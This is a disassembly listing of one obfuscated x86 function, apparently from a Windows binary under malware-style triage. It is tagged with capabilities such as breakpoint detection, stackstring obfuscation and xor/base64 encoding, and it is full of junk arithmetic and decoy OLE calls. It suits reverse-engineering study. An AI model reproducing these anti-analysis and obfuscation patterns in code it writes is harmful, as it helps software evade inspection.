Function at 0x401000
Capabilities:
Check for software breakpoints
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Get common file path
Get file version info
Get session user name

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x157c
call fcn.004167d0
push esi
mov byte [ebp - 0x10d], 0x86
mov byte [ebp - 0x6c5], 0xa3
mov eax, 0xffc
mov word [ebp - 0xbe8], ax
mov dword [ebp - 0x11a8], 0x199ed658
mov byte [ebp - 0x6c6], 0x36
mov byte [ebp - 0x6c7], 0x7e
mov byte [ebp - 0x6c8], 0x52
mov dword [ebp - 0x64], 0x5daa624e
mov ecx, 0xc35
mov word [ebp - 0xec0], cx
mov dword [ebp - 0x11b4], 0x84a96f67
mov dword [ebp - 0x214], 0x972bbbdf
mov edx, 0x2f1
mov word [ebp - 0xec4], dx
mov dword [ebp - 0x22c], 0x28add8c9
mov dword [ebp - 0x11b8], 0x68fa43c0
mov dword [ebp - 0x11bc], 0x6251a8a5
mov dword [ebp - 0x11c0], 0xcbd60eb4
mov dword [ebp - 0xe18], 0x2967aaec
mov byte [ebp - 0x6c9], 0xc4
mov eax, 0x9ce
mov word [ebp - 0x1e0], ax
mov dword [ebp - 0x11c4], 0xf0a11e18
mov dword [ebp - 0x11c8], 0x51c3706f
mov dword [ebp - 0x11cc], 0xf7ed0224
mov dword [ebp - 0x464], 0x74ef67b2
mov byte [ebp - 0x19b], 0x29
mov ecx, 0x984
mov word [ebp - 0xec8], cx
mov dword [ebp - 0x11d0], 0x268c6402
mov dword [ebp - 0x11d4], 0xde5b4579
mov dword [ebp - 0xf20], 0xbe981c81
mov dword [ebp - 0xf24], 0x6e636666
mov dword [ebp - 0xf28], 0x50d4a802
mov dword [ebp - 0xf2c], 0x5f2cdbe6
mov dword [ebp - 0xf30], 0x2aacd12c
mov dword [ebp - 0x5e0], 0xf466fe65
mov byte [ebp - 0x6ca], 0x65
mov dword [ebp - 0x5c0], 0x62c34dbb
mov dword [ebp - 0x84], 0x31070b9e
mov dword [ebp - 0xf34], 0x48c5954d
mov dword [ebp - 0xf38], 0x7102e66d
mov dword [ebp - 0xf3c], 0x4165dc7e
mov dword [ebp - 0xf40], 0x7f0cdc52
mov dword [ebp - 0xf44], 0x4276a10e
mov byte [ebp - 0x42], 0
mov dword [ebp - 0xf48], 0xd69199b1
mov dword [ebp - 0xf4c], 0x5333732b
mov dword [ebp - 0xf50], 0xe9ba77e
mov dword [ebp - 0xf54], 0xa2480a87
mov byte [ebp - 1], 0x76
mov dword [ebp - 0xdb4], 0x2605289
mov dword [ebp - 0xf58], 0x5cacc10e
mov dword [ebp - 0xf5c], 0x6e7a67f6
mov edx, 0xd72
mov word [ebp - 0xecc], dx
mov dword [ebp - 0x4fc], 0xf4d8ddbc
mov dword [ebp - 0xf60], 0x12c3e2c7
mov dword [ebp - 0xf64], 0x5de24e9f
mov byte [ebp - 0x6cb], 0xf3
mov eax, 0x39df
mov word [ebp - 0xb6c], ax
mov dword [ebp - 0xf68], 0x4308c3ff
mov ecx, 0x91
mov word [ebp - 0xb70], cx
mov byte [ebp - 0x273], 4
mov dword [ebp - 0xf6c], 0x646ebbfc
mov byte [ebp - 0xc5], 0xc4
mov byte [ebp - 0x6cc], 0xb
mov dword [ebp - 0xf70], 0x40e5bf0
mov dword [ebp - 0xf74], 0x118b0f0f
mov byte [ebp - 0x272], 0x32
mov byte [ebp - 0x6cd], 7
mov dword [ebp - 0xf78], 0x364df423
mov byte [ebp - 0x6ce], 0x4e
mov edx, 0x41a6
mov word [ebp - 0xb74], dx
mov eax, 0xd11
mov word [ebp - 0xb78], ax
mov byte [ebp - 0x10f], 0x2a
mov dword [ebp - 0xf7c], 0x628a8eea
mov dword [ebp - 0x60c], 0x6450c43a
mov dword [ebp - 0x610], 0x76ea9dcf
mov dword [ebp - 0x46c], 0x47d60a22
mov dword [ebp - 0xf80], 0x612f77ac
mov dword [ebp - 0xf84], 0x90bcfce3
mov byte [ebp - 0x1ee], 0x45
mov ecx, 0x8c
mov word [ebp - 0x704], cx
mov edx, 0x430
mov word [ebp - 0xb7c], dx
mov dword [ebp - 0xf88], 0x20d1bc79
mov byte [ebp - 0x6cf], 0xc8
mov dword [ebp - 0x8e0], 0xbc7683f3
mov dword [ebp - 0xf8c], 0xcbe33e6
mov byte [ebp - 0x6d0], 2
mov byte [ebp - 0x6d1], 0x3f
mov dword [ebp - 0xf90], 0x527e8d01
mov dword [ebp - 0xf94], 0x91332112
mov dword [ebp - 0xf98], 0xb5a0a199
mov dword [ebp - 0xf9c], 0xdba9f387
mov eax, 0x7ebb
mov word [ebp - 0xb80], ax
mov dword [ebp - 0x880], 0x3fcc072d
mov dword [ebp - 0xfa0], 0x55e147aa
mov dword [ebp - 0x200], 0x77a73f47
mov dword [ebp - 0xfa4], 0x5f89061b
mov byte [ebp - 0x275], 0x19
mov dword [ebp - 0xfa8], 0x44cecde1
mov dword [ebp - 0xfac], 0x11bf50c6
mov ecx, 0x823
mov word [ebp - 0xb84], cx
mov dword [ebp - 0x2e0], 0x6134c81f
mov dword [ebp - 0xd88], 0x144bd1bc
mov dword [ebp - 0xfb0], 0x5e99d4b8
mov dword [ebp - 0x620], 0x4e8f508e
mov dword [ebp - 0xfb4], 0x53b9884f
mov edx, 0xf8d
mov word [ebp - 0xb88], dx
mov byte [ebp - 0xff], 0x24
mov dword [ebp - 0x108], 0x1b0dc79e
mov eax, 0xb7
mov word [ebp - 0xb8c], ax
mov ecx, 0x48a1
mov word [ebp - 0xb90], cx
mov byte [ebp - 0x6d2], 0x82
mov dword [ebp - 0xfb8], 0x4585189e
mov byte [ebp - 0x6d3], 6
mov edx, 0x4b17
mov word [ebp - 0x6ec], dx
mov dword [ebp - 0xfbc], 0x41d5e535
mov eax, 0x7ab
mov word [ebp - 0x3f0], ax
mov dword [ebp - 0xfc0], 0xd9fca9c3
mov dword [ebp - 0xfc4], 0x7fc323ff
mov ecx, 0x61e
mov word [ebp - 0xb94], cx
mov dword [ebp - 0xfc8], 0x1da05c04
mov dword [ebp - 0xfcc], 0x1473a4dd
mov edx, 0x825
mov word [ebp - 0xb98], dx
mov dword [ebp - 0xfd0], 0x23cbe58e
mov dword [ebp - 0x39c], 0x58a475a6
mov dword [ebp - 0xfd4], 0x4dd302fb
mov dword [ebp - 0xfd8], 0x4a136c8f
mov dword [ebp - 0xeb8], 0x535e75da
mov dword [ebp - 0xfdc], 0xb69f6dde
mov dword [ebp - 0xfe0], 0xb655e52
mov eax, 0x39bd
mov word [ebp - 0xb9c], ax
mov byte [ebp - 0x6d4], 0xec
mov dword [ebp - 0xfe4], 0xa09cd56
mov dword [ebp - 0xd60], 0x27929cee
mov ecx, 0x75c
mov word [ebp - 0xba0], cx
mov dword [ebp - 0xfe8], 0xad098bfa
mov dword [ebp - 0xfec], 0x3718d956
mov dword [ebp - 0xff0], 0x657cc4a0
mov byte [ebp - 0x110], 0xbe
mov byte [ebp - 3], 0x15
movsx edx, byte [ebp - 1]
add edx, 0x2c
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 3]
cmp eax, 0xaf
jne 0x40159e
mov cl, byte [ebp - 3]
mov byte [ebp - 0x944], cl
cmp byte [ebp - 0x944], 0x4a
je 0x40157c
cmp byte [ebp - 0x944], 0x76
je 0x40156f
jmp 0x40159c
movzx edx, byte [ebp - 1]
push edx
call fcn.00415bb0
nop
jmp 0x40159c
lea eax, [ebp - 0x514]
push eax
lea ecx, [ebp - 0xb48]
push ecx
push 0x5b
lea edx, [ebp - 1]
push edx
call dword [sym.imp.ole32.dll_BindMoniker]
mov dword [ebp - 0x514], eax
jmp 0x4015bd
movsx eax, byte [ebp - 1]
cmp eax, 3
jne 0x4015bd
movzx ecx, byte [ebp - 3]
sub ecx, 0x44
mov byte [ebp - 3], cl
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [ebp - 0x3d0], eax
movsx edx, byte [ebp - 1]
and edx, 0x5f
cmp edx, 0x34
jg 0x415378
mov eax, 0xee0
mov word [ebp - 0x8c], ax
lea ecx, [ebp - 3]
mov dword [ebp - 0x7c], ecx
mov dl, byte [ebp - 1]
mov byte [ebp - 0xbec], dl
cmp byte [ebp - 0xbec], 0xa2
je 0x4015f3
jmp 0x401661
mov ax, word [ebp - 0x8c]
mov word [ebp - 0xb4], ax
mov ecx, 0x1ab2
mov word [ebp - 0xc], cx
mov dword [ebp - 0x7e8], 0x9d76
mov dword [ebp - 0x7ac], 0x7021
lea edx, [ebp - 1]
mov dword [ebp - 0x80], edx
lea eax, [ebp - 3]
mov dword [ebp - 0x90], eax
mov cx, word [ebp - 0xc]
mov word [ebp - 0x14], cx
lea edx, [ebp - 1]
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x50], 0x38ee0ec
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x7a4], 0x6821
mov dword [ebp - 0x79c], 0xef13
jmp 0x40168c
movzx edx, byte [ebp - 3]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x90]
mov byte [ecx], dl
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x8b4]
push eax
call dword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [ebp - 0x3dc], eax
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 3]
shl edx, cl
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x4016f6
cmp dword [ebp - 0x50], 0x95646b2a
jae 0x4016d4
mov dword [ebp - 0x24], 0x545abd70
lea edx, [ebp - 0x50]
mov dword [ebp - 0x74], edx
lea eax, [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov cl, byte [ebp - 3]
mov byte [ebp - 2], cl
mov edx, dword [ebp - 0x40]
mov ax, word [edx]
mov word [ebp - 0xa4], ax
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x50]
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x7a0], 0x46c4
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x34], ecx
jmp 0x4017b2
movzx edx, word [ebp - 0xb4]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
or edx, ecx
movzx eax, word [ebp - 0x8c]
cmp edx, eax
jle 0x4017b2
mov ecx, dword [ebp - 0x60]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 1], dl
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x948], edx
cmp dword [ebp - 0x948], 0x149ba667
je 0x401748
cmp dword [ebp - 0x948], 0xe127baa4
je 0x40179a
jmp 0x4017b2
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x90]
mov byte [edx], cl
push 0xea
lea eax, [ebp - 0x8b4]
push eax
push fcn.00416160
mov ecx, dword [ebp - 0x6a8]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x298], eax
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 2]
and eax, ecx
mov edx, dword [ebp - 0x7c]
mov byte [edx], al
jmp 0x4017b2
movzx eax, word [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x40]
mov cx, word [eax]
call fcn.00415de0
nop
mov dword [ebp - 0x7d8], 0x8ad5
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8c]
add edx, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], dx
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x50]
sub eax, dword [edx]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x34]
add edx, dword [ecx]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x74]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x50]
shl edx, cl
mov eax, dword [ebp - 0x74]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x34]
xor edx, dword [ecx]
mov dword [ebp - 0x24], edx
movzx eax, word [ebp - 0xb4]
movzx ecx, word [ebp - 0xa4]
or eax, ecx
mov edx, dword [ebp - 0x40]
mov word [edx], ax
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 0x7c]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x90]
mov byte [edx], al
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x64]
add ecx, dword [eax]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
sub eax, dword [edx]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb4]
sub ecx, edx
mov eax, dword [ebp - 0x40]
mov word [eax], cx
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 2]
and edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0x79c]
add ecx, 0x6d
mov dword [ebp - 0x79c], ecx
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x60]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 3]
add ecx, edx
mov eax, dword [ebp - 0x7c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x50]
sub ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x74]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x24], ecx
movzx edx, word [ebp - 0xb4]
movzx eax, word [ebp - 0x8c]
xor edx, eax
mov word [ebp - 0xa4], dx
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 3], cl
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x50]
shl edx, cl
mov eax, dword [ebp - 0x74]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x24]
sar edx, cl
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x24]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb4]
sub eax, ecx
mov word [ebp - 0x8c], ax
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 3], dl
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx]
and edx, dword [ebp - 0x50]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x79c], 0xf3c2
jb 0x4017bc
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x54], edx
lea eax, [ebp - 1]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x800], 0x307b
mov cl, byte [ebp - 1]
mov byte [ebp - 0xbf0], cl
cmp byte [ebp - 0xbf0], 0x4c
je 0x4019c1
jmp 0x401a62
movsx edx, word [ebp - 0x14]
add edx, 0x2ee2
mov word [ebp - 0xc], dx
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0xa4]
push ecx
push 0xdb
mov edx, dword [ebp - 0x370]
push edx
call dword [sym.imp.ole32.dll_IsAccelerator]
mov dword [ebp - 0x3f8], eax
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x7c]
mov byte [ecx], al
mov dl, byte [ebp - 1]
mov byte [ebp - 0xbf4], dl
cmp byte [ebp - 0xbf4], 0x2f
je 0x401a1d
jmp 0x401a55
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x40]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xb4], ax
movzx edx, byte [ebp - 1]
push edx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
push edx
mov dl, byte [ebp - 2]
mov eax, dword [ebp - 0x88]
mov cl, byte [eax]
call fcn.00416350
nop
jmp 0x401a60
mov ecx, dword [ebp - 0x50]
or ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x74]
mov dword [edx], ecx
jmp 0x401a94
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x54]
shl eax, cl
mov dword [ebp - 0x34], eax
mov cl, byte [ebp - 2]
mov byte [ebp - 5], cl
mov dx, word [ebp - 0x8c]
mov word [ebp - 0x18], dx
lea eax, [ebp - 0x50]
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x7f0], 0x9a2d
lea edx, [ebp - 0x54]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x7a8], 0xd82a
lea eax, [ebp - 0x50]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x7dc], 0x7a98
mov dword [ebp - 0x7bc], 0x8380
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 2]
xor edx, eax
mov byte [ebp - 5], dl
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x60]
mov al, byte [edx]
mov byte [ebp - 0x94c], al
cmp byte [ebp - 0x94c], 0
je 0x401afc
cmp byte [ebp - 0x94c], 0x6e
je 0x401bbf
jmp 0x401bfc
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x950], ecx
cmp dword [ebp - 0x950], 0
je 0x401b23
cmp dword [ebp - 0x950], 0x70343d38
je 0x401bb0
jmp 0x401bbd
lea edx, [ebp - 0x54]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
mov dword [ebp - 0x954], ecx
cmp dword [ebp - 0x954], 0xad7e74f
je 0x401b4e
cmp dword [ebp - 0x954], 0xc74c31d2
je 0x401b98
jmp 0x401bae
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x54]
and eax, dword [edx]
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x298]
push ecx
push 0xf4
call dword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [ebp - 0x510], eax
movzx edx, byte [ebp - 3]
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x7c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x60]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 1], dl
jmp 0x401bae
movzx edx, word [ebp - 0xa4]
movzx eax, word [ebp - 0x8c]
add edx, eax
mov ecx, dword [ebp - 0x48]
mov word [ecx], dx
jmp 0x401bbd
mov edx, dword [ebp - 0x60]
movzx eax, byte [edx]
push eax
call fcn.00415bb0
nop
jmp 0x401bfc
lea ecx, [ebp - 0x6a8]
push ecx
lea edx, [ebp - 5]
push edx
push 0x8e
push 0xdd
push 0x3f
call dword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 3]
sub ecx, edx
mov byte [ebp - 5], cl
mov eax, dword [ebp - 0x64]
sub eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov dword [ebp - 0x7b0], 0x5df0
cmp dword [ebp - 0x7a0], 0x818c
ja 0x401dfd
mov edx, dword [ebp - 0x7a0]
add edx, 0xd1
mov dword [ebp - 0x7a0], edx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x50]
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
and eax, dword [edx]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
movzx edx, word [ebp - 0x8c]
movzx eax, word [ebp - 0xa4]
xor edx, eax
mov ecx, dword [ebp - 0x48]
mov word [ecx], dx
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 5]
sar eax, cl
mov byte [ebp - 3], al
mov ecx, dword [ebp - 0x68]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x50]
shl edx, cl
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x54]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
and edx, dword [ecx]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x68]
mov dword [eax], edx
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xb4], dx
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x7c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x90]
mov byte [eax], dl
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 1], dl
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 3], cl
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x8c], dx
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x54]
shl edx, cl
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x64]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x24]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x30]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x18]
sub ecx, edx
mov word [ebp - 0x8c], cx
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 2]
and eax, ecx
mov byte [ebp - 5], al
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x74]
add eax, dword [ecx]
mov edx, dword [ebp - 0x68]
mov dword [edx], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x54]
add ecx, dword [eax]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x38]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x34]
add edx, dword [ecx]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov eax, dword [ebp - 0x60]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 1], cl
movsx ecx, word [ebp - 0xc]
sub ecx, 0x592b
mov word [ebp - 0x14], cx
jmp 0x401c06
mov edx, dword [ebp - 0x74]
mov eax, dword [edx]
mov dword [ebp - 0xbf8], eax
cmp dword [ebp - 0xbf8], 0
je 0x401e16
jmp 0x4152e0
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
sar edx, cl
movzx ecx, byte [ebp - 2]
movzx eax, byte [ebp - 3]
or ecx, eax
cmp edx, ecx
je 0x4152d8
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x68]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
movzx edx, word [ebp - 0xa4]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x48]
mov word [eax], dx
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 5], dl
mov edx, dword [ebp - 0x34]
and edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x74]
add edx, dword [eax]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], edx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7a4]
sub edx, 0x84
mov dword [ebp - 0x7a4], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x30]
add ecx, dword [edx]
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
movzx ecx, byte [ebp - 3]
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x7c]
mov byte [edx], cl
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x40]
mov word [ecx], ax
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x5c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x68]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x30]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 1]
xor eax, ecx
mov edx, dword [ebp - 0x88]
mov byte [edx], al
cmp dword [ebp - 0x7a4], 0x3dd9
jae 0x401e39
mov ax, word [ebp - 0xc]
mov word [ebp - 0x2c], ax
movzx ecx, byte [ebp - 3]
movzx edx, byte [ebp - 2]
or ecx, edx
mov byte [ebp - 5], cl
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x18]
and ecx, edx
mov eax, dword [ebp - 0x40]
mov word [eax], cx
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x74]
add edx, dword [eax]
mov dword [ebp - 0x64], edx
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x64]
add ecx, dword [eax]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x34]
and edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
movzx ecx, byte [ebp - 5]
